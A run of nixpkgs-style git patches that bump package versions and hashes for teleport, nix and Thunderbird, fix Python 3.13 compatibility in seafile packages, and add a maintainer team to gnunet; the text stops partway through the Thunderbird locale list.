 pkgs/by-name/te/teleport/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/te/teleport/package.nix b/pkgs/by-name/te/teleport/package.nix
index dcbe7033f4ef..0f8be9b81afa 100644
--- a/pkgs/by-name/te/teleport/package.nix
+++ b/pkgs/by-name/te/teleport/package.nix
@@ -21,8 +21,8 @@
 
   withRdpClient ? true,
 
-  version ? "17.5.3",
-  hash ? "sha256-VyuzSk388Dumm65+Gadu/SddVN7uUS3du5RGPm4xI6g=",
+  version ? "17.5.4",
+  hash ? "sha256-ojRIyPTrSG3/xuqdaUNrN4s5HP3E8pvzjG8h+qFEYrc=",
   vendorHash ? "sha256-IHXwCp1MdcEKJhIs9DNf77Vd93Ai2as7ROlh6AJT9+Q=",
   extPatches ? [ ],
   cargoHash ? "sha256-qz8gkooQTuBlPWC4lHtvBQpKkd+nEZ0Hl7AVg9JkPqs=",

From cfe8744d79862cf40b77ca315bee2644f61a834a Mon Sep 17 00:00:00 2001
From: JuliusFreudenberger <julius+git@jfreudenberger.de>
Date: Fri, 4 Jul 2025 01:26:01 +0300
Subject: [PATCH 2147/4511] teleport_16: 16.5.11 -> 16.5.13

Changelog: https://github.com/gravitational/teleport/releases/tag/v16.5.13
Diff: https://github.com/gravitational/teleport/compare/v16.5.11...v16.5.13
(cherry picked from commit da3853e50493952888141d3978f6126ee99bf9cf)
---
 pkgs/by-name/te/teleport_16/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/te/teleport_16/package.nix b/pkgs/by-name/te/teleport_16/package.nix
index e33ad9171a3a..62921b92b311 100644
--- a/pkgs/by-name/te/teleport_16/package.nix
+++ b/pkgs/by-name/te/teleport_16/package.nix
@@ -2,9 +2,9 @@
   teleport,
 }:
 teleport.override {
-  version = "16.5.11";
-  hash = "sha256-uLis1oRTr5J2bKaJtnVAIQ0ixYT8BYLo4jQPcdFp82s=";
-  vendorHash = "sha256-OcVHckqxpTVz6Gaemt3+9WxBQc5D5QBxb3IMGOMq4LI=";
-  pnpmHash = "sha256-JQca2eFxcKJDHIaheJBg93ivZU95UWMRgbcK7QE4R10=";
+  version = "16.5.13";
+  hash = "sha256-X9Ujgvp+2dFCoku0tjGW4W05X8QrnExFE+H1kMhf91A=";
+  vendorHash = "sha256-0+7xbIONnZs7dPpfpHPmep+k4XxQE8TS/eKz4F5a3V0=";
+  pnpmHash = "sha256-waBzmNs20wbuoBDObVFnJjEYs3NJ/bzQksVz7ltMD7M=";
   cargoHash = "sha256-04zykCcVTptEPGy35MIWG+tROKFzEepLBmn04mSbt7I=";
 }

From 852ef6e397aef687d6345b972e2d94392eb6fa85 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Mon, 7 Jul 2025 15:20:06 +0800
Subject: [PATCH 2148/4511] gnunet: add ngi team

(cherry picked from commit 877403c8d0b1da4283ad81083bfd405ac1173f25)
---
 pkgs/applications/networking/p2p/gnunet/default.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/applications/networking/p2p/gnunet/default.nix b/pkgs/applications/networking/p2p/gnunet/default.nix
index d50245b45021..a1035f6df846 100644
--- a/pkgs/applications/networking/p2p/gnunet/default.nix
+++ b/pkgs/applications/networking/p2p/gnunet/default.nix
@@ -124,6 +124,7 @@ stdenv.mkDerivation (finalAttrs: {
     homepage = "https://gnunet.org/";
     license = lib.licenses.agpl3Plus;
     maintainers = with lib.maintainers; [ pstn ];
+    teams = with lib.teams; [ ngi ];
     platforms = lib.platforms.unix;
     changelog = "https://git.gnunet.org/gnunet.git/tree/ChangeLog?h=v${finalAttrs.version}";
     # meson: "Can not run test applications in this cross environment." (for dane_verify_crt_raw)

From e3de95bed55427730e57392cd38977482ac02267 Mon Sep 17 00:00:00 2001
From: Florian Brandes <florian.brandes@posteo.de>
Date: Sat, 21 Jun 2025 11:14:42 +0200
Subject: [PATCH 2149/4511] seafile-shared: fix python3.13 compat

fix "error: future-1.0.0 not supported for interpreter python3.13"

Signed-off-by: Florian Brandes <florian.brandes@posteo.de>
(cherry picked from commit 1ee18e30b43903a71b066df0922d2d011b859237)
---
 pkgs/by-name/se/seafile-shared/package.nix | 13 ++++++++-----
 1 file changed, 8 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/se/seafile-shared/package.nix b/pkgs/by-name/se/seafile-shared/package.nix
index 2fb2891eecd5..84a4844cf4e3 100644
--- a/pkgs/by-name/se/seafile-shared/package.nix
+++ b/pkgs/by-name/se/seafile-shared/package.nix
@@ -25,6 +25,10 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-IpRCgPxYy1El4EEvVEfzAlbxP/osQUb7pCP3/BhkecU=";
   };
 
+  postPatch = ''
+    substituteInPlace scripts/breakpad.py --replace-fail "from __future__ import print_function" ""
+  '';
+
   nativeBuildInputs = [
     libwebsockets
     autoreconfHook
@@ -48,7 +52,6 @@ stdenv.mkDerivation rec {
   ];
 
   pythonPath = with python3.pkgs; [
-    future
     pysearpc
   ];
 
@@ -56,12 +59,12 @@ stdenv.mkDerivation rec {
     wrapPythonPrograms
   '';
 
-  meta = with lib; {
+  meta = {
     homepage = "https://github.com/haiwen/seafile";
     description = "Shared components of Seafile: seafile-daemon, libseafile, libseafile python bindings, manuals, and icons";
-    license = licenses.gpl2Plus;
-    platforms = platforms.linux;
-    maintainers = with maintainers; [
+    license = lib.licenses.gpl2Plus;
+    platforms = lib.platforms.linux;
+    maintainers = with lib.maintainers; [
       schmittlauch
     ];
   };

From 34e6bdc03fa52583c6d74fccaa1973d8c0d555ba Mon Sep 17 00:00:00 2001
From: Florian Brandes <florian.brandes@posteo.de>
Date: Sat, 21 Jun 2025 11:19:17 +0200
Subject: [PATCH 2150/4511] seahub: fix python 3.13 compat

Signed-off-by: Florian Brandes <florian.brandes@posteo.de>
(cherry picked from commit 51791f6d3c1ff3b57164ef8c13a39238eaa0e109)
---
 pkgs/by-name/se/seahub/package.nix | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/se/seahub/package.nix b/pkgs/by-name/se/seahub/package.nix
index 7b409165da1c..3889dfe80f52 100644
--- a/pkgs/by-name/se/seahub/package.nix
+++ b/pkgs/by-name/se/seahub/package.nix
@@ -26,7 +26,6 @@ python3.pkgs.buildPythonApplication rec {
 
   propagatedBuildInputs = with python3.pkgs; [
     django
-    future
     django-compressor
     django-statici18n
     django-webpack-loader
@@ -57,6 +56,8 @@ python3.pkgs.buildPythonApplication rec {
 
   postPatch = ''
     substituteInPlace seahub/settings.py --replace-fail "SEAFILE_VERSION = '6.3.3'" "SEAFILE_VERSION = '${version}'"
+    substituteInPlace thirdpart/constance/management/commands/constance.py --replace-fail \
+        "from __future__ import unicode_literals" ""
   '';
 
   installPhase = ''
@@ -74,14 +75,14 @@ python3.pkgs.buildPythonApplication rec {
     inherit seafile-server;
   };
 
-  meta = with lib; {
+  meta = {
     description = "Web end of seafile server";
     homepage = "https://github.com/haiwen/seahub";
-    license = licenses.asl20;
-    maintainers = with maintainers; [
+    license = lib.licenses.asl20;
+    maintainers = with lib.maintainers; [
       schmittlauch
       melvyn2
     ];
-    platforms = platforms.linux;
+    platforms = lib.platforms.linux;
   };
 }

From 3162d163d29e47c14021e6dcff68b12f54899dd2 Mon Sep 17 00:00:00 2001
From: Samuel Dionne-Riel <samuel@dionne-riel.com>
Date: Mon, 7 Jul 2025 16:48:57 -0400
Subject: [PATCH 2151/4511] nixVersions.nix_2_24: Fix FOD hash for 2.24.15
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The last “upgrade” actually regressed the package to 2.24.14.

(cherry picked from commit 09b7782d3290d197ef84fe8b5cae8f167a12e81e)
---
 pkgs/tools/package-management/nix/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix
index 9e3587a2461b..c3b83433b492 100644
--- a/pkgs/tools/package-management/nix/default.nix
+++ b/pkgs/tools/package-management/nix/default.nix
@@ -179,7 +179,7 @@ lib.makeExtensible (
 
       nix_2_24 = commonAutoconf {
         version = "2.24.15";
-        hash = "sha256-SthMCsj6POjawLnJq9+lj/UzObX9skaeN1UGmMZiwTY=";
+        hash = "sha256-GHqFHLxvRID2IEPUwIfRMp8epYQMFcvG9ogLzfWRbPc=";
         self_attribute_name = "nix_2_24";
       };
 

From eb5c7018584aed49cffd90f99328c91c44b20245 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 7 Jul 2025 00:08:44 +0000
Subject: [PATCH 2152/4511] thunderbird-latest-bin-unwrapped: 139.0.2 -> 140.0

(cherry picked from commit 42960a5b75caeb0072eed81994c36b08999aa016)
---
 .../thunderbird-bin/release_sources.nix       | 794 +++++++++---------
 1 file changed, 397 insertions(+), 397 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix
index 712fd2d22bbb..b022c742a775 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix
@@ -1,1193 +1,1193 @@
 {
-  version = "139.0.2";
+  version = "140.0";
   sources = [
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/af/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/af/thunderbird-140.0.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "fac575196a0f674af9bc4a0bbcf28b4b6378d0f85c0027784ddaaae3e7948c82";
+      sha256 = "6354d0a716a87e2d9f86dc9a57932ffe23220832546edd57608660c9d73cf0d5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/ar/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/ar/thunderbird-140.0.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "e607f615cc37d11b068608023eb04106a41610c055406bcd1ee8c0efb14e466d";
+      sha256 = "bdd3aa60081a66b131f9ee748e92bccac7082bbe89bc6b1bcbe34ae576018920";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/ast/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/ast/thunderbird-140.0.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "f054f3460f07341a1b5d698d5fe68b6f4ac43715eabfde348137fa2aeee9245c";
+      sha256 = "e2d673b6987b98f4d594349cdf5a51044e121292d7c7d1a28a705be161d76892";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/be/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/be/thunderbird-140.0.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "6d992740e1c8804e6eb21b5a54f58aa0d3038e97b0cb190f757d0998e9d332a2";
+      sha256 = "31243db3dacdb29f952b14f65cfccd60e67fa3faf40e3b44bd54f50bcd9f28cb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/bg/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/bg/thunderbird-140.0.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "9e0052b94a39ea779f25476f21695b6aaaa3d2e1a9728b8cf023844832a43407";
+      sha256 = "ffbcf5f5a37a365af15b37223c7bd81a5b9a078f879ffc224aa99b0b10e687ce";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/br/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/br/thunderbird-140.0.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "9820286b62f9b19eaeab280a4dc44b47c9bde7c6207bd303be3ab2cdb841fa32";
+      sha256 = "eb45793925a22ec63ba29c2312a16350db81d32ae2d290f748a48c877875b552";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/ca/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/ca/thunderbird-140.0.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "5bbff46917963b11a4d27407f6e696aa1c1e1ae013574f7ba5f0a216dc1e5c1b";
+      sha256 = "30609db086163d6c56780162e9e7b97405a15325523cbf7a2826016acbf2ef20";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/cak/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/cak/thunderbird-140.0.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "b230111ca99527b06a437a1515da5e6985843a11b9aa05c1a67063bebe4ae0ad";
+      sha256 = "612bf6a5290c3f963016aade4fecb354fc7c94a40d4fc00c8a7ce4a6c1ac6e1a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/cs/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/cs/thunderbird-140.0.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "c1395573306bb7a8992c82ccee300588dbcec55db623e4818c1741d30f7db1ae";
+      sha256 = "140f8b7c77ad71a2a8eb60bebe43fde97bd72d17e3ed1728d42b2b7d2d00e0f0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/cy/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/cy/thunderbird-140.0.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "b8b9e3642b8e4d979f96ecda5175c65eaf5186589292cfdcf1707b4647f656cf";
+      sha256 = "67cc821c9097ad4b4ed444b2a2797263738ad84cb4447b34f6576af7bd25a191";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/da/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/da/thunderbird-140.0.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "0e7602f34ccfb74069c5da866c56620c2d3ec7c8f4631cbcc9fe310ad6e2a11b";
+      sha256 = "d4e898dd01a3a22c9f48b97bfe63f12ab0c16b8d33006e427322a1b78dcefb98";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/de/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/de/thunderbird-140.0.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "f554153c2e3fbc1234c173fed2cbabdc4da217a79bb9076ea0e63973ff377c2c";
+      sha256 = "4ad26d439c433d4ed4dd0d23d73b4ccc15119d329961eeada2914d2ea14fa0d9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/dsb/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/dsb/thunderbird-140.0.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "1b6ce6fff33ee7cc0fcb1ade2f5aecad3d33b8842ad0f91651b0479495900214";
+      sha256 = "bc12c9e11f42ad39871c7e58fe53645987c497ee6ac5246f06196562f4cfd412";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/el/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/el/thunderbird-140.0.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "adeb90cbca0d092dd7d03f9295c880a757aa4ec98da1912c30fe068e054804c2";
+      sha256 = "bc9559721e71a1eff511b453ddd81ec23bd2e4e61222218f3256f3b33e97fec8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/en-CA/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/en-CA/thunderbird-140.0.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "71eba2aeff733dd2d21700a7a92d7741b52aa1a2297003fdb612066e0846c5f2";
+      sha256 = "0d563912d384682e5f71cdd2b4800c3331ad7f59cbdd1a47bfe46786d0d93540";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/en-GB/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/en-GB/thunderbird-140.0.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "2e9b4009229e378bf42a7f9a56fa4d8c84850323f94123bf69bd88877501f281";
+      sha256 = "221a194d22ce3d370a10f0abebf35bd3ca3f5c7e0077ea70b45a9641283c71c9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/en-US/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/en-US/thunderbird-140.0.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "586a26ae67befe3a9b435e5f704d8a802d89dd52f7f3c644b73ff3510effb546";
+      sha256 = "ffc88e3bd1bdf0d4318e550c00ed90a1ca8f18b60c4bc29f37284fba95ecf696";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/es-AR/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/es-AR/thunderbird-140.0.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "265da7fe5b88196c220a287b4e8de3c3728c633ab85fa02dd352a25337b4a073";
+      sha256 = "cd5f41c9f8eb8a00add3e2a5f57ba80d9ededc061da7a0d3a36dd232e3e196ab";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/es-ES/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/es-ES/thunderbird-140.0.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "3e573a6363b0fb85485df4cdc20a59d3b5af25daf40930abef2c9e480203d248";
+      sha256 = "7ad1a1711db299378df882740a2da3564c69e7c27c55616aaec9813f8d8d2b53";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/es-MX/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/es-MX/thunderbird-140.0.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "e5fe333f6461143366441f2d9ed22fb423e5f9bb8b3d9fde064f15f37c7306dc";
+      sha256 = "71d6812accf0b8a9e833ae7c8b1f6dadfe7ac61ae3e58364b1a131490d97be95";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/et/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/et/thunderbird-140.0.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "182a2b9bfd8711b694ada070426e06c29b6b6b07755e3caa813ea5e4776a17fd";
+      sha256 = "01b630c2f27f1f62e1ec77c557ce62eaf7caca3b614e9d2ccc8f8ab89fb972c9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/eu/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/eu/thunderbird-140.0.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "f948dc2e081de225381908f0cd7e488610d47fec1de74eee4bd2d64083db6456";
+      sha256 = "228c87bc59c30cb64480025b9587f7796cb35d98f6ce3529b816cb2385cafc12";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/fi/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/fi/thunderbird-140.0.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "88e46da83192cec302e860ac87a7da89f4315fcc7075309738e8620f83d18c1c";
+      sha256 = "f880467f6947ca1a67534f6483cd8c4130cc8611dee3596e0f7be2e2c8cf7fe1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/fr/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/fr/thunderbird-140.0.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "756f63ecbb4174fecdd65caed5813deeaf500c15d3762f966bf49a51a04f7343";
+      sha256 = "262c951e723aadac59be50279b2c0cb2cdf853dd7d7702f4d1f67eddf536116a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/fy-NL/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/fy-NL/thunderbird-140.0.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "ee21ad76da5a373d2de3121e8b2a3cf894b522d1ee88e7b5690c78352c505d60";
+      sha256 = "e071dc9b626ba983ab3269272c61b95247cd4fa99b69ab0ed4059bdd750016c2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/ga-IE/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/ga-IE/thunderbird-140.0.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "35fe29248d87da93b544acc514180f55fa874b645fab57e7db41a019157652bf";
+      sha256 = "905da7820ad428b8b6ceddf01a3bbbed545956e4b84663fb06b2b8c5e49fb52c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/gd/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/gd/thunderbird-140.0.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "37c75f8635251cf91de32a95b1d146f276cb2c03fed5aa0f3e49fe7f65b04211";
+      sha256 = "f804b289a4cb9caa0cf68325be33ffdfd0692108e021e18b6671229651c98231";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/gl/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/gl/thunderbird-140.0.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "6f9b6701d431112d4f3288834d029151ba8be7212258de4a1b9fa27aa7f3e3a0";
+      sha256 = "70bbdf657b5a26309074c8690b7a040616255d0e45edfc9cb9cee4bbd700af6a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/he/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/he/thunderbird-140.0.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "7d47acafcda302e129804763670e8440f0968b7ea1307ffd1f6a7cc4c8461ca0";
+      sha256 = "75567442db641f6f2604296b78173aa1cc1ea53bfa89d0a3e21d77877ef0a0ac";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/hr/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/hr/thunderbird-140.0.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "cdcdeb674f9289a7267c46c86e347dcd4255a5962cbbdca79fb2951ea5b71b27";
+      sha256 = "a4171c5177cdc925d378a94f87f76c0bf506b2bde0a45924bb624720f5563236";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/hsb/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/hsb/thunderbird-140.0.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "0756e367e329ea10a87590954ea97b2b17a2475b8d72dc59919541539b0a7b30";
+      sha256 = "99655cc4b350dedad6e11bbfa8e083d950563cf812ff6ce89d7aa18f13ba864a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/hu/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/hu/thunderbird-140.0.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "1b3279673b30b342da299cbaa2973ba48ddc4b739b88c5e6e5825b954b731f6c";
+      sha256 = "9eb199a44fc710f2cbcedccc181208d6e4873eb0df81273758068b670c3dd240";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/hy-AM/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/hy-AM/thunderbird-140.0.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "82c9d1f617a56cbd300ae6d0fa0ac6a633cf8a1610d1ab612902a6503ca55a3e";
+      sha256 = "7f3f1efc50f72a3351a86840860e0775b7f28eca4f0029aed1ec93af82b8e4b3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/id/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/id/thunderbird-140.0.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "c420f360bd82e4f840e0a20f25c3a8dc3984d2b95594310930e20f55693a1e92";
+      sha256 = "b72756286ff157812d987234f89931605346f4f2d71c374fe262bfa538e58379";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/is/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/is/thunderbird-140.0.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "bbdf9ca3a40f1808312238dbda332bdbeb82aad249c62e9ea578e0e0e10abbbd";
+      sha256 = "348296059015e7a8dda122b71f7c3731be9de6fdad4f67cbecd88d1f1c468e15";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/it/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/it/thunderbird-140.0.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "6a320104a48724bfe7a4b30108fe36d2858dac36977555f7c8cb8258c0213a3b";
+      sha256 = "e548f08ad67dab6b91f5156f6f1d3be2fec90fa1603e9fe95e9685465e16d68f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/ja/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/ja/thunderbird-140.0.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "abaf0566a742c1e362f3e26d58a148bfa1e8e1e7cdcb2ab2bdee0f9c1d5c6672";
+      sha256 = "d551b224c9ab2f28d7414c1f939a90cd3203c5d07142aea72784d1f28282aec1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/ka/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/ka/thunderbird-140.0.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "944155d09532a22bc3d3df1bd98c4f60156e2be13387469c25c7f0afcc802dc6";
+      sha256 = "84becb5da99d053735cea0d29957c2a7e3f1eb9fee96110159aafa1c5ed67767";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/kab/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/kab/thunderbird-140.0.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "6961557b8f8b1861859cbb4f434934b108864417ea154ae39a20090f4473e987";
+      sha256 = "69646edf14b7cec8912925c49c5a334a9d343aed3e938af29efd819b12d4ade2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/kk/thunderbird-139.0.2.tar.xz";
